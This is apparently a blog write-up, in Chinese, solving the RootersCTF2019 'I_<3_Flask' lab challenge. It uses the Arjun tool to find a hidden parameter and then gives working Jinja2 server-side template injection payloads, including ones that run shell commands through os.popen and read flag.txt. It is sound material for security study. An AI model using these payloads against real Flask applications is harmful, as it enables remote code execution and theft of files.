[RootersCTF2019]I_3_Flask 1
[RootersCTF2019]I_<3_Flask
1附Arjun安装使用教程
SSTI(Server-Side Template Injection,服务端模板注入)
源代码中有
先把arjun安装好
1.安装arjun教程

如果像我一样由于不使用全局安装,需要在master目录下打开终端下载三个依赖库
在终端依次输入:
pip install dicttoxml -i https://pypi.tuna.tsinghua.edu.cn/simplepip install ratelimit -i https://pypi.tuna.tsinghua.edu.cn/simplepip install requests -i https://pypi.tuna.tsinghua.edu.cn/simple

使用教程:
使用 Python 的 模块运行模式 (-m):
- 命令格式:
python -m arjun -u url -m GET - 关键参数:
-u:指定题目给你的网址。-m GET:告诉工具去 URL 后面找参数(Flask 题目常用)。
1 | PS D:\official\Arjun\Arjun-master> python -m arjun -u http://6e0dca84-e29b-451b-815f-424a6221f05a.node5.buuoj.cn:81/ -m GET |
当看到 Parameters found: name 时,意味着:
- 注入点确定:该网页接收一个名为
name的参数。 - 下一步公式:
http://[网址]/?name={{你的Payload}}
2.利用参数进行ssti注入(方法选择:实操或者fenjing)
下面展示实操:
https://jishuzhan.net/article/1966023275677007874这篇文章比较全面

1 | http://6e0dca84-e29b-451b-815f-424a6221f05a.node5.buuoj.cn:81?name={% raw %}{{url_for.__globals__['__builtins__']['__import__']('os').listdir('.')}}{% endraw %} |
url_for: Flask 的一个标准函数。在模板里,它是一个现成的对象。.__globals__: 这是一个字典,包含了该函数定义时所在的全局命名空间。通过它,我们可以跳出模板的限制,访问 Python 的内置库。['__builtins__']: 包含了 Python 最基础的内置函数(如print,open,__import__)。['__import__']('os'): 相当于在代码里写了import os,加载了操作系统模块。.listdir('.'): 列出当前目录下的所有文件。
得到

1 | /?name={% raw %}{{url_for.__globals__['__builtins__']['open']('flag.txt').read()}}{% endraw %} |
利用 Python 内置的 open 函数
['open']: 找到 Python 原生的文件打开函数。('flag.txt'): 告诉它我要打开哪个文件。.read(): 将打开的文件内容全部读取出来并显示在网页上。
实操二:
1 | {% for c in [].__class__.__base__.__subclasses__() %} |

ls换成cat查看命令就ok
实操三:
1 | ?name={% raw %}{{url_for.__globals__['__builtins__']['__import__']('os').popen('ls').read()}}{% endraw %} |
cat
1 | ?name={% raw %}{{url_for.__globals__['__builtins__']['__import__']('os').popen('cat flag.txt').read()}}{% endraw %} |
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 24kmagic!
评论

